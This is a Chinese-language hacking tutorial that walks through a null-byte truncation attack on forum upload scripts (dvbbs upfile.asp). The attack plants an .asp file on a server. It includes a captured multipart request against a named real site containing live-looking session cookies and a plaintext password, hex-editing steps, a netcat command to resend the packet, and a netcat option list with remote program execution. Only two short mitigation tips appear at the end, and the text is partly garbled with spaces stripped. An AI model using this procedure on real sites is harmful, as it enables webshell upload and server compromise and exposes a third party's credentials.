PHP和ASP上传探究
1传利用的原理只是针对form格式上传的asp和php脚本***
nc(netcat)
用于提交包
dos界面下运行:
nc-vv80<1.txt
-vv:回显
80:www端口
1.txt:就是你要发送的包(更多使用方法请查看本区的帖子)
wse(wsockexpert)对本机端口的监视,抓取ie提交的包
2原理
下面例子假设的前提
www主机:;
bbs路径:/bbs/
源于对上传文件的研究,建议有一定经验的看看dvbbs的upfile.asp文件,没有必要全部看懂。upfile是通过生成一个form表上传,如下
<formname="form"method="post"action="upfile.asp"...>
<inputtype="hidden"name="filepath"value="uploadface">
<inputtype="hidden"name="act"value="upload">
<inputtype="file"name="file1">
<inputtype="hidden"name="fname">
<inputtype="submit"name="submit"value="上传"...></form>
用到的变量::
filepath默认值uploadface属性hiden
act默认值upload属性hiden
file1就是你要传的那个文件
关键是filepath这个变量!
默认情况下我们的文件上传到
文件是用你的上传时间命名的,就是upfile里的这一句
filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext
--------------------------------------
我们知道计算机里面的是一""为标致的用过c语言的都知道:chardata[]="bbs"这个data数组长度是4:bbs
如果我们构造filepath如下,会怎么样呢?
filepath="/newmm.asp"
我们在2004.09.24.08.24传的文件就会发生变化没有改时::_blank>http://www.***.com/bbs/uploadface/200409240824.jpg用我们构造的filepath时:_blank>http://www.***.com/newmm.asp/200409240824.jpg
这样当器接收filepath时,检测到newmm.asp后面的就理解为filepath的就结束了。这样我们上传的文件,比如c:.asp就保存成:_blank>http://www.***.com/newmm.asp
3后期补充
公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行。有很多网站只是加了n个hiden属性的变量对付网上公布的upfile.exe就是那个上传利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。而且很对网站的插件里有类似的,我要说的不要依赖哪些专门的工具。自己改wse抓到的包里的filepath变量,然后在用nc提交。就算他加n个hiden变量也于事无补。当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结就是我们的新理论诞生的时候!
4详细实例
一、wse抓包结果(存到1.txt里):
post/bbs/upphoto/upfile.asphttp/1.1
accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,
application/x-shockwave-flash,application/vnd.ms-excel,
application/vnd.ms-powerpoint,application/msword,*/*
referer:_blank>http://www.xin126.com/bbs/upphoto/upload.asp
accept-language:zh-cn
content-type:multipart/form-data;
boundary=-----------7d423a138d0278
accept-encoding:gzip,deflate
user-agent:mozilla/4.0(compatible;msie6.0;windowsnt5.1;.netclr1.1.4322)
host:_blank>www.xin126.com
content-length:1969
connection:keep-alive
cache-control:no-cache
cookie:aspsessionidaccccdcs=njhcphpalbcankobechkjanf;
iscome=1;gamvancookies=1;regtime=2004%2d9%2d24+3%3a39%3a37;
username=szjwwwww;pass=5211314;dl=0;userid=62;
ltstyle=0;logintry=1;userpass=eb03f6c72908fd84
-----------------------------7d423a138d0278
content-disposition:form-data;name="filepath"
../medias/myphoto/
-----------------------------7d423a138d0278
......
上传
---------------7d423a138d0278-----------------
二、ultraedit打开1.txt改:
......
-----------------------------7d423a138d0278
content-disposition:form-data;name="filepath"
/newmm.asp<===这个黑色代表一个空格是0x20,改成0x00就可以了
......
三、重新计算cookies长度,然后nc提交
nc-vv_blank>www.xin126.com80<1.txt
ultraedit是一个16位编辑器网上可以下载得到
我们主要用来写那个结束标致:====>16位表示:0x00或者00h
其实你改的时候就直接再filepath的结尾处加个00就ok了
计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了
----------------------------
......
host:_blank>www.xin126.com
content-length:1969<======就是这个
connection:keep-alive
cache-control:no-cache
......
计算会吧?一个字母、数字就是1
对于上传提出的解决思路:(仅供参考)
1、一般的上传是把上传路径作为一个变量来处理
===>我们的对策就是把filepath变成常量。。。
这个方法是目前最有效的(我认为的)
2、加强对于的处理,原来我们是读到这里就结束
我们继续读直道下一个变量开始的地方,处理就ok了
附:NCUsage:
监听外部主机
nc[-options]hostnameport[s][ports]...
监听本地主机
nc-l-pport[options][hostname][port]
options:
-ddetachfromconsole,stealthmode
-eproginboundprogramtoexec[dangerous!!]
-ggatewaysource-routinghoppoint[s],upto8
-gnumsource-routingpointer:4,8,12,...
-hthiscruft
-isecsdelayintervalforlinessent,portsscanned
-llistenmode,forinboundconnects
-llistenharder,re-listenonsocketclose
-nnumeric-onlyipaddresses,nodns
-ofilehexdumpoftraffic
-pportlocalportnumber
-rrandomizelocalandremoteports
-saddrlocalsourceaddress
-tanswertelnetnegotiation
-uudpmode
-vverbose[usetwicetobemoreverbose]
-wsecstimeoutforconnectsandfinalnetreads
-zzero-i/omode[usedforscanning]
portnumberscanbeindividualorranges:m-n[inclusive]